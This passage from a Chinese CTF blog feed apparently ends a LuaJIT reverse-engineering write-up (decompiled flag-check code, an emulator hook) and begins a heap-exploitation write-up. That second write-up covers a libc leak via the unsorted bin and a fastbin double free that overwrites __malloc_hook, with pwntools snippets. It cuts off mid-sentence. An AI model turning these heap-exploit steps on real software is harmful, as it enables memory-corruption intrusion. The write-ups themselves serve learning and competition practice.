class="keyword">function</span> <span class="title">CCC</span><span class="params">(slot0, slot1)</span></span></span><br><span class="line">slot2 = &#123;&#125;</span><br><span class="line"></span><br><span class="line"><span class="keyword">for</span> slot6 = <span class="number">1</span>, #slot0, <span class="number">2</span> <span class="keyword">do</span></span><br><span class="line"><span class="built_in">table</span>.<span class="built_in">insert</span>(slot2, <span class="built_in">string</span>.<span class="built_in">char</span>(uv0.bxor(<span class="built_in">tonumber</span>(slot0:<span class="built_in">sub</span>(slot6, slot6 + <span class="number">2</span> - <span class="number">1</span>), <span class="number">16</span>), slot1 <span class="keyword">or</span> <span class="number">218</span>)))</span><br><span class="line"><span class="keyword">end</span></span><br><span class="line"></span><br><span class="line"><span class="keyword">return</span> <span class="built_in">table</span>.<span class="built_in">concat</span>(slot2)</span><br><span class="line"><span class="keyword">end</span></span><br><span class="line"></span><br><span class="line"><span class="function"><span class="keyword">function</span> <span class="title">AAA</span><span class="params">(slot0, slot1)</span></span></span><br><span class="line">slot2 = &#123;</span><br><span class="line">[slot6] = slot6 - <span class="number">1</span></span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line"><span class="keyword">for</span> slot6 = <span class="number">1</span>, <span class="number">256</span> <span class="keyword">do</span></span><br><span class="line"><span class="keyword">end</span></span><br><span class="line"></span><br><span class="line"><span class="keyword">for</span> slot7 = <span class="number">1</span>, <span class="number">256</span> <span class="keyword">do</span></span><br><span class="line">slot3 = (<span class="number">0</span> + slot2[slot7] + <span class="built_in">string</span>.<span class="built_in">byte</span>(slot0, slot7 % #slot0 + <span class="number">1</span>)) % <span class="number">256</span></span><br><span class="line">t = slot2[slot7]</span><br><span class="line">slot2[slot7] = slot2[slot3 + <span class="number">1</span>]</span><br><span class="line">t = slot2[slot3 + <span class="number">1</span>]</span><br><span class="line"><span class="keyword">end</span></span><br><span class="line"></span><br><span class="line">slot11 = <span class="string">&quot;.&quot;</span></span><br><span class="line"></span><br><span class="line"><span class="keyword">for</span> slot11 <span class="keyword">in</span> slot1:<span class="built_in">gmatch</span>(slot11), <span class="literal">nil</span>,  <span class="keyword">do</span></span><br><span class="line">slot4 = (<span class="number">1</span> + <span class="number">1</span>) % <span class="number">256</span></span><br><span class="line">slot5 = (<span class="number">0</span> + slot2[slot4 + <span class="number">1</span>]) % <span class="number">256</span></span><br><span class="line">t = slot2[slot4 + <span class="number">1</span>]</span><br><span class="line">slot2[slot4 + <span class="number">1</span>] = slot2[slot5 + <span class="number">1</span>]</span><br><span class="line">slot2[slot5 + <span class="number">1</span>] = t</span><br><span class="line">slot14 = uv0.bxor(<span class="built_in">string</span>.<span class="built_in">byte</span>(slot11), slot2[(slot2[slot4 + <span class="number">1</span>] + slot2[slot5 + <span class="number">1</span>]) % <span class="number">256</span> + <span class="number">1</span>])</span><br><span class="line">slot7 = <span class="string">&quot;&quot;</span> .. <span class="built_in">string</span>.<span class="built_in">format</span>(<span class="string">&quot;%02x&quot;</span>, slot14)</span><br><span class="line">slot6 = <span class="string">&quot;&quot;</span> .. <span class="built_in">string</span>.<span class="built_in">char</span>(slot14)</span><br><span class="line"><span class="keyword">end</span></span><br><span class="line"></span><br><span class="line"><span class="keyword">return</span> slot7</span><br><span class="line"><span class="keyword">end</span></span><br><span class="line"></span><br><span class="line"><span class="function"><span class="keyword">function</span> <span class="title">DDD</span><span class="params">()</span></span></span><br><span class="line"><span class="keyword">return</span> <span class="string">&quot;ca3f7e84a61b756c457eec122b9320feed15069ab19c84d9bf1d3f78178b0eaabf16a7fa8&quot;</span></span><br><span class="line"><span class="keyword">end</span></span><br><span class="line"></span><br><span class="line"><span class="function"><span class="keyword">function</span> <span class="title">checkflag</span><span class="params">(slot0)</span></span></span><br><span class="line"><span class="keyword">if</span> AAA(BBB(<span class="string">&quot;8d97998e9ce8eae8ee&quot;</span>), slot0) == DDD() <span class="keyword">then</span></span><br><span class="line"><span class="keyword">return</span> <span class="number">1</span></span><br><span class="line"><span class="keyword">end</span></span><br><span class="line"></span><br><span class="line"><span class="keyword">return</span> <span class="number">0</span></span><br><span class="line"><span class="keyword">end</span></span><br></pre></td></tr></table></figure><p>后面得知，问题是 <code>luajit-decompiler</code> 项目导致的，使用<code>luajit-decompiler-v2</code> 即可</p><p><a href="https://github.com/marsinator358/luajit-decompiler-v2">https://github.com/marsinator358/luajit-decompiler-v2</a></p><figure class="highlight lua"><table><tr><td class="code"><pre><span class="line">jit.off()</span><br><span class="line"></span><br><span class="line"><span class="keyword">local</span> var_0_0 = <span class="built_in">require</span>(<span class="string">&quot;bit&quot;</span>)</span><br><span class="line"></span><br><span class="line"><span class="function"><span class="keyword">function</span> <span class="title">BBB</span><span class="params">(arg_1_0)</span></span></span><br><span class="line"><span class="keyword">local</span> var_1_0 = &#123;&#125;</span><br><span class="line"><span class="keyword">local</span> var_1_1 = #arg_1_0</span><br><span class="line"></span><br><span class="line"><span class="keyword">for</span> iter_1_0 = <span class="number">1</span>, #arg_1_0 <span class="keyword">do</span></span><br><span class="line"><span class="keyword">local</span> var_1_2 = <span class="built_in">string</span>.<span class="built_in">byte</span>(arg_1_0, iter_1_0)</span><br><span class="line"><span class="keyword">local</span> var_1_3 = var_0_0.bxor(<span class="number">218</span>, var_1_2)</span><br><span class="line"></span><br><span class="line"><span class="built_in">table</span>.<span class="built_in">insert</span>(var_1_0, <span class="built_in">string</span>.<span class="built_in">format</span>(<span class="string">&quot;%02x&quot;</span>, var_1_3))</span><br><span class="line"><span class="keyword">end</span></span><br><span class="line"></span><br><span class="line"><span class="keyword">return</span> <span class="built_in">table</span>.<span class="built_in">concat</span>(var_1_0)</span><br><span class="line"><span class="keyword">end</span></span><br><span class="line"></span><br><span class="line"><span class="function"><span class="keyword">function</span> <span class="title">CCC</span><span class="params">(arg_2_0, arg_2_1)</span></span></span><br><span class="line"><span class="keyword">local</span> var_2_0 = &#123;&#125;</span><br><span class="line"></span><br><span class="line">arg_2_1 = arg_2_1 <span class="keyword">or</span> <span class="number">218</span></span><br><span class="line"></span><br><span class="line"><span class="keyword">for</span> iter_2_0 = <span class="number">1</span>, #arg_2_0, <span class="number">2</span> <span class="keyword">do</span></span><br><span class="line"><span class="keyword">local</span> var_2_1 = arg_2_0:<span class="built_in">sub</span>(iter_2_0, iter_2_0 + <span class="number">2</span> - <span class="number">1</span>)</span><br><span class="line"><span class="keyword">local</span> var_2_2 = <span class="built_in">tonumber</span>(var_2_1, <span class="number">16</span>)</span><br><span class="line"><span class="keyword">local</span> var_2_3 = var_0_0.bxor(var_2_2, arg_2_1)</span><br><span class="line"></span><br><span class="line"><span class="built_in">table</span>.<span class="built_in">insert</span>(var_2_0, <span class="built_in">string</span>.<span class="built_in">char</span>(var_2_3))</span><br><span class="line"><span class="keyword">end</span></span><br><span class="line"></span><br><span class="line"><span class="keyword">return</span> <span class="built_in">table</span>.<span class="built_in">concat</span>(var_2_0)</span><br><span class="line"><span class="keyword">end</span></span><br><span class="line"></span><br><span class="line"><span class="function"><span class="keyword">function</span> <span class="title">AAA</span><span class="params">(arg_3_0, arg_3_1)</span></span></span><br><span class="line"><span class="keyword">local</span> var_3_0 = &#123;&#125;</span><br><span class="line"></span><br><span class="line"><span class="keyword">for</span> iter_3_0 = <span class="number">1</span>, <span class="number">256</span> <span class="keyword">do</span></span><br><span class="line">var_3_0[iter_3_0] = iter_3_0 - <span class="number">1</span></span><br><span class="line"><span class="keyword">end</span></span><br><span class="line"></span><br><span class="line"><span class="keyword">local</span> var_3_1 = <span class="number">0</span></span><br><span class="line"></span><br><span class="line"><span class="keyword">for</span> iter_3_1 = <span class="number">1</span>, <span class="number">256</span> <span class="keyword">do</span></span><br><span class="line">var_3_1 = (var_3_1 + var_3_0[iter_3_1] + <span class="built_in">string</span>.<span class="built_in">byte</span>(arg_3_0, iter_3_1 % #arg_3_0 + <span class="number">1</span>)) % <span class="number">256</span></span><br><span class="line">var_3_0[iter_3_1], var_3_0[var_3_1 + <span class="number">1</span>] = var_3_0[var_3_1 + <span class="number">1</span>], var_3_0[iter_3_1]</span><br><span class="line"><span class="keyword">end</span></span><br><span class="line"></span><br><span class="line"><span class="keyword">local</span> var_3_2 = <span class="number">1</span></span><br><span class="line"><span class="keyword">local</span> var_3_3 = <span class="number">0</span></span><br><span class="line"><span class="keyword">local</span> var_3_4 = <span class="string">&quot;&quot;</span></span><br><span class="line"><span class="keyword">local</span> var_3_5 = <span class="string">&quot;&quot;</span></span><br><span class="line"></span><br><span class="line"><span class="keyword">for</span> iter_3_2 <span class="keyword">in</span> arg_3_1:<span class="built_in">gmatch</span>(<span class="string">&quot;.&quot;</span>) <span class="keyword">do</span></span><br><span class="line">var_3_2 = (var_3_2 + <span class="number">1</span>) % <span class="number">256</span></span><br><span class="line">var_3_3 = (var_3_3 + var_3_0[var_3_2 + <span class="number">1</span>]) % <span class="number">256</span></span><br><span class="line">var_3_0[var_3_2 + <span class="number">1</span>], var_3_0[var_3_3 + <span class="number">1</span>] = var_3_0[var_3_3 + <span class="number">1</span>], var_3_0[var_3_2 + <span class="number">1</span>]</span><br><span class="line"></span><br><span class="line"><span class="keyword">local</span> var_3_6 = var_3_0[(var_3_0[var_3_2 + <span class="number">1</span>] + var_3_0[var_3_3 + <span class="number">1</span>]) % <span class="number">256</span> + <span class="number">1</span>]</span><br><span class="line"><span class="keyword">local</span> var_3_7 = var_0_0.bxor(<span class="built_in">string</span>.<span class="built_in">byte</span>(iter_3_2), var_3_6)</span><br><span class="line"><span class="keyword">local</span> var_3_8 = <span class="built_in">string</span>.<span class="built_in">format</span>(<span class="string">&quot;%02x&quot;</span>, var_3_7)</span><br><span class="line"></span><br><span class="line">var_3_5 = var_3_5 .. var_3_8</span><br><span class="line">var_3_4 = var_3_4 .. <span class="built_in">string</span>.<span class="built_in">char</span>(var_3_7)</span><br><span class="line"><span class="keyword">end</span></span><br><span class="line"></span><br><span class="line"><span class="keyword">return</span> var_3_5</span><br><span class="line"><span class="keyword">end</span></span><br><span class="line"></span><br><span class="line"><span class="function"><span class="keyword">function</span> <span class="title">DDD</span><span class="params">()</span></span></span><br><span class="line"><span class="keyword">return</span> <span class="string">&quot;ca3f7e84a61b756c457eec122b9320feed15069ab19c84d9bf1d3f78178b0eaabf16a7fa8&quot;</span></span><br><span class="line"><span class="keyword">end</span></span><br><span class="line"></span><br><span class="line"><span class="function"><span class="keyword">function</span> <span class="title">checkflag</span><span class="params">(arg_5_0)</span></span></span><br><span class="line"><span class="keyword">local</span> var_5_0 = BBB(<span class="string">&quot;8d97998e9ce8eae8ee&quot;</span>)</span><br><span class="line"></span><br><span class="line"><span class="keyword">if</span> AAA(var_5_0, arg_5_0) == DDD() <span class="keyword">then</span></span><br><span class="line"><span class="keyword">return</span> <span class="number">1</span></span><br><span class="line"><span class="keyword">end</span></span><br><span class="line"></span><br><span class="line"><span class="keyword">return</span> <span class="number">0</span></span><br><span class="line"><span class="keyword">end</span></span><br><span class="line"></span><br><span class="line"><span class="keyword">return</span></span><br></pre></td></tr></table></figure><h3 id="3-4-求解"><a href="#3-4-求解" class="headerlink" title="3.4 求解"></a>3.4 求解</h3><p>虽然解不出来，但是流密码直接 hook bxor 实现把密钥流拿一下就行，bit 库的实现在<code>lib_bit.c</code> 这个文件，里面没有 bit_bxor 的实现，实现就在汇编里。</p><figure class="highlight lua"><table><tr><td class="code"><pre><span class="line">LJLIB_ASM_(bit_bor)LJLIB_REC(bit_nary IR_BOR)</span><br><span class="line">LJLIB_ASM_(bit_bxor)LJLIB_REC(bit_nary IR_BXOR)</span><br></pre></td></tr></table></figure><p><img src="/posts/lua-%E9%80%86%E5%90%91%E6%80%BB%E7%BB%93/2714658f1880b8dab38a30cbc8731d91.png" alt="image.png"></p><p>直接搜一下指令序列找到之后 hook 即可。</p><figure class="highlight java"><table><tr><td class="code"><pre><span class="line">emulator.getBackend().hook_add_new(<span class="keyword">new</span> <span class="title class_">CodeHook</span>() &#123;</span><br><span class="line">    <span class="meta">@Override</span></span><br><span class="line">    <span class="keyword">public</span> <span class="keyword">void</span> <span class="title function_">hook</span><span class="params">(Backend backend, <span class="type">long</span> address, <span class="type">int</span> size, Object user)</span> &#123;</span><br><span class="line">        <span class="type">long</span> <span class="variable">RA</span> <span class="operator">=</span> backend.reg_read(Arm64Const.UC_ARM64_REG_W0).longValue() &amp; <span class="number">0xffffffffL</span>;</span><br><span class="line">        <span class="type">long</span> <span class="variable">RB</span> <span class="operator">=</span> backend.reg_read(Arm64Const.UC_ARM64_REG_W8).longValue() &amp; <span class="number">0xffffffffL</span>;</span><br><span class="line">        System.out.println(<span class="string">&quot;\tRA=&quot;</span> + Long.toHexString(RA) + <span class="string">&quot;, RB=&quot;</span> + Long.toHexString(RB));</span><br><span class="line">    &#125;</span><br><span class="line">    <span class="meta">@Override</span></span><br><span class="line">    <span class="keyword">public</span> <span class="keyword">void</span> <span class="title function_">onAttach</span><span class="params">(UnHook unHook)</span> &#123;&#125;</span><br><span class="line">    <span class="meta">@Override</span></span><br><span class="line">    <span class="keyword">public</span> <span class="keyword">void</span> <span class="title function_">detach</span><span class="params">()</span> &#123;&#125;</span><br><span class="line">&#125;, dm.getModule().base + <span class="number">0x26AFC</span>, dm.getModule().base + <span class="number">0x26AFC</span>, <span class="literal">null</span>);</span><br></pre></td></tr></table></figure><h2 id="4-后记"><a href="#4-后记" class="headerlink" title="4. 后记"></a>4. 后记</h2><p>对于 Lua 的指令opcode的识别，相对来说更加复杂。但是如果没有混淆在解释器中的话，可以通过 DIE 等工具尽可能的识别编译器的确切版本、编译参数等外界因素来进行类似的识别，柏鹭杯中的那个题我就曾使用这种方法成功实现识别，但是当时未能及时记录，时间过了好久也懒得重新写了。</p><p>除了这些，我博客中对于 2023 年巅峰极客 <code>ezlua</code> 的复现过程，也是学习 LuaJIT 的较好的资料。</p><p><a href="https://www.cnblogs.com/gaoyucan/p/17577858.html">https://www.cnblogs.com/gaoyucan/p/17577858.html</a></p>]]>
      </content:encoded>
    </item>
    <item>
      <title>2023安徽省赛free复现</title>
      <link>https://blog.gaoyucan.site/posts/2023%E5%AE%89%E5%BE%BD%E7%9C%81%E8%B5%9Bfree%E5%A4%8D%E7%8E%B0/</link>
      <description>
        <![CDATA[<p>当时这个题目是 0 解了的。这是我第一次做堆相关的题目，当时比赛的时候不给网络，也没有事先准备什么材料，所以比赛的时候一点思路也没有。比赛结束之后参考了一下网上的一些资料问了一下 Lotus ✌ 也算是复现出来了。</p>
<h2 id="libc-版本问题解决"><a h]]>
      </description>
      <author>s1nk</author>
      <category domain="https://blog.gaoyucan.site/categories/%E6%8A%80%E6%9C%AF%E5%88%86%E4%BA%AB/">技术分享</category>
      <category domain="https://blog.gaoyucan.site/tags/Pwn/">Pwn</category>
      <category domain="https://blog.gaoyucan.site/tags/%E5%A0%86%E5%88%A9%E7%94%A8/">堆利用</category>
      <pubDate>Sun, 15 Oct 2023 16:00:00 GMT</pubDate>
      <content:encoded>
        <![CDATA[<p>当时这个题目是 0 解了的。这是我第一次做堆相关的题目，当时比赛的时候不给网络，也没有事先准备什么材料，所以比赛的时候一点思路也没有。比赛结束之后参考了一下网上的一些资料问了一下 Lotus ✌ 也算是复现出来了。</p><h2 id="libc-版本问题解决"><a href="#libc-版本问题解决" class="headerlink" title="libc 版本问题解决"></a><code>libc</code> 版本问题解决</h2><p>题目给的 <code>libc</code> 版本为 <code>libc-2.23.so</code>，调试发现直接运行根本不会使用这个版本的 <code>libc</code> ，知道可以 patch 解决，但是感觉胖爷应该有更好的方法，遂去问 Lotus ✌</p><blockquote><p>废物小高：咋让程序用他附件里给的 libc 版本啊</p><p>废物小高：[不知所措.gif]</p><p>Lotus ✌ : patchelf</p></blockquote><p>还是 patch 一下吧，从网上找了一篇相关的文章，跟着做了一下</p><p>主要就是下面两句</p><figure class="highlight plaintext"><table><tr><td class="code"><pre><span class="line">patchelf --set-interpreter /home/s1nk/CTF/pwn/glibc-all-in-one/libs/2.23-0ubuntu11.3_amd64/ld-2.23.so ./double_free</span><br><span class="line"></span><br><span class="line">patchelf --replace-needed libc.so.6 /home/s1nk/CTF/pwn/glibc-all-in-one/libs/2.23-0ubuntu11.3_amd64/libc-2.23.so ./double_free</span><br><span class="line"></span><br></pre></td></tr></table></figure><p>再运行，发现已经用上 <code>libc-2.23.so</code> 了，解决。</p><figure class="highlight plaintext"><table><tr><td class="code"><pre><span class="line">pwndbg&gt; libs</span><br><span class="line">LEGEND: STACK | HEAP | CODE | DATA | RWX | RODATA</span><br><span class="line">             Start                End Perm     Size Offset File</span><br><span class="line">    0x555555400000     0x555555401000 r-xp     1000      0 /home/s1nk/CTF/pwn/free/double_free</span><br><span class="line">    0x555555601000     0x555555602000 r--p     1000   1000 /home/s1nk/CTF/pwn/free/double_free</span><br><span class="line">    0x555555602000     0x555555603000 rw-p     1000   2000 /home/s1nk/CTF/pwn/free/double_free</span><br><span class="line">    0x555555603000     0x555555609000 rw-p     6000   4000 /home/s1nk/CTF/pwn/free/double_free</span><br><span class="line">    0x7ffff7a0d000     0x7ffff7bcd000 r-xp   1c0000      0 /home/s1nk/CTF/pwn/glibc-all-in-one/libs/2.23-0ubuntu11.3_amd64/libc-2.23.so</span><br><span class="line">    0x7ffff7bcd000     0x7ffff7dcd000 ---p   200000 1c0000 /home/s1nk/CTF/pwn/glibc-all-in-one/libs/2.23-0ubuntu11.3_amd64/libc-2.23.so</span><br><span class="line">    0x7ffff7dcd000     0x7ffff7dd1000 r--p     4000 1c0000 /home/s1nk/CTF/pwn/glibc-all-in-one/libs/2.23-0ubuntu11.3_amd64/libc-2.23.so</span><br><span class="line">    0x7ffff7dd1000     0x7ffff7dd3000 rw-p     2000 1c4000 /home/s1nk/CTF/pwn/glibc-all-in-one/libs/2.23-0ubuntu11.3_amd64/libc-2.23.so</span><br><span class="line">    0x7ffff7dd3000     0x7ffff7dd7000 rw-p     4000      0 [anon_7ffff7dd3]</span><br><span class="line">    0x7ffff7dd7000     0x7ffff7dfd000 r-xp    26000      0 /home/s1nk/CTF/pwn/glibc-all-in-one/libs/2.23-0ubuntu11.3_amd64/ld-2.23.so</span><br><span class="line">    0x7ffff7ff3000     0x7ffff7ff6000 rw-p     3000      0 [anon_7ffff7ff3]</span><br><span class="line">    0x7ffff7ff6000     0x7ffff7ffa000 r--p     4000      0 [vvar]</span><br><span class="line">    0x7ffff7ffa000     0x7ffff7ffc000 r-xp     2000      0 [vdso]</span><br><span class="line">    0x7ffff7ffc000     0x7ffff7ffd000 r--p     1000  25000 /home/s1nk/CTF/pwn/glibc-all-in-one/libs/2.23-0ubuntu11.3_amd64/ld-2.23.so</span><br><span class="line">    0x7ffff7ffd000     0x7ffff7ffe000 rw-p     1000  26000 /home/s1nk/CTF/pwn/glibc-all-in-one/libs/2.23-0ubuntu11.3_amd64/ld-2.23.so</span><br><span class="line">    0x7ffff7ffe000     0x7ffff7fff000 rw-p     1000      0 [anon_7ffff7ffe]</span><br><span class="line">    0x7ffffffde000     0x7ffffffff000 rw-p    21000      0 [stack]</span><br><span class="line"></span><br></pre></td></tr></table></figure><p>本部分主要参考：</p><p><a href="https://www.cnblogs.com/xshhc/p/16777707.html">1. 利用 patchelf 修改 pwn 题目的 libc</a></p><h2 id="利用"><a href="#利用" class="headerlink" title="利用"></a><strong>利用</strong></h2><p>题目的名字是 <code>free</code> ，附件的名字是 <code>double_free</code>，不难让人想到题目利用的主要漏洞是 <code>double free</code>。从网上找了一些相关的材料，结合自己逆向分析的结果，最初确定思路大概就是</p><ul><li>利用unsorted bin 的特性泄露 <code>libc</code> 基地址</li><li>利用 double free 实现 <code>UAF</code> 然后控制 <code>fd</code> 指针到 <code>__malloc_hook</code> 最终实现修改 <code>__malloc_hook</code> 为 <code>one_gadget</code></li></ul><h3 id="利用-unsorted-bin-的特性泄露-libc基地址"><a href="#利用-unsorted-bin-的特性泄露-libc基地址" class="headerlink" title="利用 unsorted bin 的特性泄露 libc基地址"></a><strong>利用 unsorted bin 的特性泄露 <code>libc</code>基地址</strong></h3><p><code>unsorted bin</code> 在管理时为循环双向链表，在该链表中必有一个节点（不准确的说，是尾节点，这个就意会一下把，毕竟循环链表实际上没有头尾）的 <code>fd</code> 指针会指向 <code>main_arena</code> 结构体内部。</p><p>可以通过 <code>UAF</code> 泄露 <code>fd</code> 指针，拿到一个与 <code>main_arena</code> 有固定偏移的地址，而<code>main_arena</code> 是 <code>libc</code>中的一个全局变量，它相对于<code>libc</code>基地址的偏移量是固定的可以通过调试得到，以获取<code>libc</code>基地址。</p><figure class="highlight plaintext"><table><tr><td class="code"><pre><span class="line">pwndbg&gt; bins</span><br><span class="line">fastbins</span><br><span class="line">empty</span><br><span class="line">unsortedbin</span><br><span class="line">all: 0x555555609000 —▸ 0x7ffff7dd1b78 (main_arena+88) ◂— 0x555555609000</span><br><span class="line">smallbins</span><br><span class="line">empty</span><br><span class="line">largebins</span><br><span class="line">empty</span><br><span class="line">pwndbg&gt; vmmap libc-2.23.so</span><br><span class="line">LEGEND: STACK | HEAP | CODE | DATA | RWX | RODATA</span><br><span class="line">             Start                End Perm     Size Offset File</span><br><span class="line">    0x555555609000     0x55555562a000 rw-p    21000      0 [heap]</span><br><span class="line">►   0x7ffff7a0d000     0x7ffff7bcd000 r-xp   1c0000      0 /home/s1nk/CTF/pwn/glibc-all-in-one/libs/2.23-0ubuntu11.3_amd64/libc-2.23.so</span><br><span class="line">►   0x7ffff7bcd000     0x7ffff7dcd000 ---p   200000 1c0000 /home/s1nk/CTF/pwn/glibc-all-in-one/libs/2.23-0ubuntu11.3_amd64/libc-2.23.so</span><br><span class="line">►   0x7ffff7bcd000     0x7ffff7dcd000 ---p   200000 1c0000 /home/s1nk/CTF/pwn/glibc-all-in-one/libs/2.23-0ubuntu11.3_amd64/libc-2.23.so</span><br><span class="line">►   0x7ffff7dcd000     0x7ffff7dd1000 r--p     4000 1c0000 /home/s1nk/CTF/pwn/glibc-all-in-one/libs/2.23-0ubuntu11.3_amd64/libc-2.23.so</span><br><span class="line">►   0x7ffff7dcd000     0x7ffff7dd1000 r--p     4000 1c0000 /home/s1nk/CTF/pwn/glibc-all-in-one/libs/2.23-0ubuntu11.3_amd64/libc-2.23.so</span><br><span class="line">►   0x7ffff7dd1000     0x7ffff7dd3000 rw-p     2000 1c4000 /home/s1nk/CTF/pwn/glibc-all-in-one/libs/2.23-0ubuntu11.3_amd64/libc-2.23.so</span><br><span class="line">►   0x7ffff7dd1000     0x7ffff7dd3000 rw-p     2000 1c4000 /home/s1nk/CTF/pwn/glibc-all-in-one/libs/2.23-0ubuntu11.3_amd64/libc-2.23.so</span><br><span class="line">    0x7ffff7dd3000     0x7ffff7dd7000 rw-p     4000      0 [anon_7ffff7dd3]</span><br><span class="line"></span><br></pre></td></tr></table></figure><p>所以，偏移量 offset &#x3D; 0x7ffff7dd1b78 - 0x7ffff7a0d000 &#x3D; 3951480</p><p>泄露过程如下：</p><figure class="highlight python"><table><tr><td class="code"><pre><span class="line"><span class="comment"># leak libc base</span></span><br><span class="line">alloc(<span class="number">0x100</span>, <span class="string">b&#x27;1&#x27;</span> * <span class="number">0x100</span>)</span><br><span class="line">alloc(<span class="number">1</span>, <span class="string">b&#x27;1&#x27;</span>)<span class="comment"># 防止 unsorted 的那个chunk 和 top chunk 紧邻</span></span><br><span class="line">delete(<span class="number">0</span>)</span><br><span class="line">show(<span class="number">0</span>)</span><br><span class="line"></span><br><span class="line">r = sh.recvline(keepends=<span class="literal">False</span>).ljust(<span class="number">8</span>, <span class="string">b&#x27;\x00&#x27;</span>)</span><br><span class="line">libc_addr = u64(r) - <span class="number">3951480</span></span><br><span class="line"><span class="built_in">print</span>(<span class="built_in">hex</span>(libc_addr))</span><br><span class="line"></span><br></pre></td></tr></table></figure><blockquote><p>完整代码见后文</p></blockquote><h3 id="double-free"><a href="#double-free" class="headerlink" title="double free"></a><strong>double free</strong></h3><p>fastbin double free 是指 fastbin 的 chunk 可以被多次释放，因此可以在 fastbin 链表中存在多次,这样导致的后果是多次分配可以从 fastbin 链表中取出同一个堆块，相当于多个指针指向同一个堆块。</p><p>所以，当我们执行如下操作后，chunk#2 就会在 fastbin 中出现两次</p><figure class="highlight python"><table><tr><td class="code"><pre><span class="line"><span class="comment"># double free</span></span><br><span class="line">alloc(<span class="number">0x60</span>, <span class="string">b&#x27;1&#x27;</span>)<span class="comment"># 2</span></span><br><span class="line">alloc(<span class="number">0x60</span>, <span class="string">b&#x27;1&#x27;</span>)<span class="comment"># 3</span></span><br><span class="line"></span><br><span class="line">delete(<span class="number">2</span>)</span><br><span class="line">delete(<span class="number">3</span>)</span><br><span class="line">delete(<span class="number">2</span>)</span><br><span class="line"></span><br></pre></td></tr></table></figure><figure class="highlight plaintext"><table><tr><td class="code"><pre><span class="line">pwndbg&gt; fastbins</span><br><span class="line">fastbins</span><br><span class="line">0x70: 0x5565b2328000 —▸ 0x5565b2328070 ◂— 0x5565b2328000</span><br><span class="line"></span><br></pre></td></tr></table></figure><p>也就是上面的 <code>0x5565b2328000</code>，此时我们就可以通过 <code>alloc(0x60, p64(evil_chunk)) # 4</code>，设置 <code>0x5565b2328000</code> 地址这个 <code>chunk</code> 的 <code>fd</code> 为指定地址。</p><p>比如下图中，就是设置成了 <code>0x7f9f2e9bbaed</code></p><figure class="highlight plaintext"><table><tr><td class="code"><pre><span class="line">pwndbg&gt; fastbins</span><br><span class="line">fastbins</span><br><span class="line">0x70: 0x5565b2328070 —▸ 0x5565b2328000 —▸ 0x7f9f2e9bbaed (_IO_wide_data_0+301) ◂— 0x9f2e67cea0000000</span><br><span class="line"></span><br></pre></td></tr></table></figure><p>只要控制 <code>fd</code> 的值指向 <code>__malloc_hook</code> 地址的前面一点，就可以实现对 <code>__malloc_hook</code> 的控制</p><figure class="highlight plaintext"><table><tr><td class="code"><pre><span class="line">pwndbg&gt; x/10gx &amp;__malloc_hook</span><br><span class="line">0x7f9f2e9bbb10 &lt;__malloc_hook&gt;: 0x0000000000000000      0x0000000000000000</span><br><span class="line">0x7f9f2e9bbb20 &lt;main_arena&gt;:    0x0000000000000000      0x0000000000000000</span><br><span class="line">0x7f9f2e9bbb30 &lt;main_arena+16&gt;: 0x0000000000000000      0x0000000000000000</span><br><span class="line">0x7f9f2e9bbb40 &lt;main_arena+32&gt;: 0x0000000000000000      0x0000000000000000</span><br><span class="line">0x7f9f2e9bbb50 &lt;main_arena+48&gt;: 0x00005565b2328070      0x0000000000000000</span><br><span class="line">pwndbg&gt; x/10gx ((long long)&amp;__malloc_hook - 0x30)</span><br><span class="line">0x7f9f2e9bbae0 &lt;_IO_wide_data_0+288&gt;:   0x0000000000000000      0x0000000000000000</span><br><span class="line">0x7f9f2e9bbaf0 &lt;_IO_wide_data_0+304&gt;:   0x00007f9f2e9ba260      0x0000000000000000</span><br><span class="line">0x7f9f2e9bbb00 &lt;__memalign_hook&gt;:       0x00007f9f2e67cea0      0x00007f9f2e67ca70</span><br><span class="line">0x7f9f2e9bbb10 &lt;__malloc_hook&gt;: 0x0000000000000000      0x0000000000000000</span><br><span class="line">0x7f9f2e9bbb20 &lt;main_arena&gt;:    0x0000000000000000      0x0000000000000000</span><br><span class="line">pwndbg&gt; x/64bx ((long long)&amp;__malloc_hook - 0x30)</span><br><span class="line">0x7f9f2e9bbae0 &lt;_IO_wide_data_0+288&gt;:   0x00    0x00    0x00    0x00    0x00    0x00    0x00    0x00</span><br><span class="line">0x7f9f2e9bbae8 &lt;_IO_wide_data_0+296&gt;:   0x00    0x00    0x00    0x00    0x00    0x00    0x00    0x00</span><br><span class="line">0x7f9f2e9bbaf0 &lt;_IO_wide_data_0+304&gt;:   0x60    0xa2    0x9b    0x2e    0x9f    0x7f    0x00    0x00</span><br><span class="line">0x7f9f2e9bbaf8: 0x00    0x00    0x00    0x00    0x00    0x00    0x00    0x00</span><br><span class="line">0x7f9f2e9bbb00 &lt;__memalign_hook&gt;:       0xa0    0xce    0x67    0x2e    0x9f    0x7f    0x00    0x00</span><br><span class="line">0x7f9f2e9bbb08 &lt;__realloc_hook&gt;:        0x70    0xca    0x67    0x2e    0x9f    0x7f    0x00    0x00</span><br><span class="line">0x7f9f2e9bbb10 &lt;__malloc_hook&gt;: 0x00    0x00    0x00    0x00    0x00    0x00    0x00    0x00</span><br><span class="line">0x7f9f2e9bbb18: 0x00    0x00    0x00    0x00    0x00    0x00    0x00    0x00</span><br><span class="line"></span><br></pre></td></tr></table></figure><p>为了满足chunk 的 size 字段，这里需要取 <code>&amp;__malloc_hook - 0x23</code></p><figure class="highlight plaintext"><table><tr><td class="code"><pre><span class="line">pwndbg&gt; x/10gx ((long long)&amp;__malloc_hook - 0x23)</span><br><span class="line">0x7f9f2e9bbaed &lt;_IO_wide_data_0+301&gt;:   0x9f2e9ba260000000      `0x000000000000007f`</span><br><span class="line">0x7f9f2e9bbafd: 0x9f2e67cea0000000      0x9f2e67ca7000007f</span><br><span class="line">0x7f9f2e9bbb0d &lt;__realloc_hook+5&gt;:      0x000000000000007f      0x0000000000000000</span><br><span class="line">0x7f9f2e9bbb1d: 0x0000000000000000      0x0000000000000000</span><br><span class="line">0x7f9f2e9bbb2d &lt;main_arena+13&gt;: 0x0000000000000000      0x0000000000000000</span><br><span class="line"></span><br></pre></td></tr></table></figure><p>此时，size 字段为 <code>0x7f</code> 刚好可以过这个检查</p><figure class="highlight c"><table><tr><td class="code"><pre><span class="line"><span class="comment">// 检查取到的 chunk 大小是否与相应的 fastbin 索引一致。// 根据取得的 victim ，利用 chunksize 计算其大小。// 利用fastbin_index 计算 chunk 的索引。if (__builtin_expect(fastbin_index(chunksize(victim)) != idx, 0)) &#123;</span></span><br><span class="line">    errstr = <span class="string">&quot;malloc(): memory 